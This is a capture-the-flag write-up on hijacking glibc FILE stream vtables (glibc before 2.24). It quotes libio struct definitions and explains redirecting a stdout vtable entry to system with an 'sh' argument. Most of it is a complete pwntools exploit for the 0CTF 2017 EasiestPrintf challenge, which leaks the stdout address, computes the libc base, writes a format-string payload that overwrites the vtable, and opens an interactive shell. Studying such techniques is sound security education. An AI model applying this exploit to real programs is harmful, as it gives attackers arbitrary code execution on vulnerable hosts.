File Stream Pointer Attack [libc.version < 2.24]

glibc version for this article: 2.19

1. FSP Internal

1.1 Structs

In libio.h, we can find definitions of _IO_2_1_stdout_:

1
2
3
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;

libioP.h defines _IO_FILE:

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

_IO_FILE is defined in libio.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

_IO_jump_t is defined in libioP.h:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

And _IO_jump_t is initialized in vfprintf.c:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static const struct _IO_jump_t _IO_helper_jumps =
{
JUMP_INIT_DUMMY,
JUMP_INIT (finish, _IO_default_finish),
JUMP_INIT (overflow, _IO_helper_overflow),
JUMP_INIT (underflow, _IO_default_underflow),
JUMP_INIT (uflow, _IO_default_uflow),
JUMP_INIT (pbackfail, _IO_default_pbackfail),
JUMP_INIT (xsputn, _IO_default_xsputn),
JUMP_INIT (xsgetn, _IO_default_xsgetn),
JUMP_INIT (seekoff, _IO_default_seekoff),
JUMP_INIT (seekpos, _IO_default_seekpos),
JUMP_INIT (setbuf, _IO_default_setbuf),
JUMP_INIT (sync, _IO_default_sync),
JUMP_INIT (doallocate, _IO_default_doallocate),
JUMP_INIT (read, _IO_default_read),
JUMP_INIT (write, _IO_default_write),
JUMP_INIT (seek, _IO_default_seek),
JUMP_INIT (close, _IO_default_close),
JUMP_INIT (stat, _IO_default_stat)
};

1.2 Hijack

Now, what if we change _IO_2_1_stdout_->vtable to 0xdeadbeef?

Program crashes when calling _IO_sputn.

1
2
3
4
5
if ((to_flush = hp->_IO_write_ptr - hp->_IO_write_base) > 0)
{
if ((int) _IO_sputn (s, hp->_IO_write_base, to_flush) != to_flush)
result = -1;
}

OK, we can get shell if we change [ecx+0x1c] to system and stdout to “/bin/sh”.
The core idea is to create a fake table for glibc.

2. Full Payload for EasiestPrintf [0CTF 2017]

Let’s control vtable for EasiestPrintf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *
context.os = 'linux'
# ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
context.log_level = 'INFO'

libc_path = './libc.so'
bin_path = './EasiestPrintf'

libc = ELF(libc_path)
binary = ELF(bin_path)

host = ''
port = 1

def debug(command=''):
gdb.attach(p, command)
raw_input()

def exploit():

p.recvuntil('read:\n')

leak_addr = binary.symbols['stdout@@GLIBC_2.0']
p.sendline(str(leak_addr))

leak_addr = int(p.recvline().rstrip(), 16)
print 'leak = ', hex(leak_addr)

p.recvline('Good Bye')

vtables = leak_addr + 0x94

libc.address = leak_addr - libc.symbols['_IO_2_1_stdout_']

system = libc.symbols['system']

print 'system = ', hex(system)
print 'vtables = ', hex(vtables)

str_sh = u32('sh\x00\x00')

offset = 0x100 #casual.
writes = {
vtables: leak_addr + offset,
leak_addr + offset + 0x1c: system,
leak_addr: str_sh # only 4 bytes.
}

payload = fmtstr_payload(7, writes, write_size="byte")

p.sendline(payload)

p.interactive()

if __name__ == '__main__':
if len(sys.argv) == 1:
global p
p = process(executable=bin_path, argv=[bin_path],
env={'LD_PRELOAD':libc_path})
else:
p = remote(host, port)
exploit()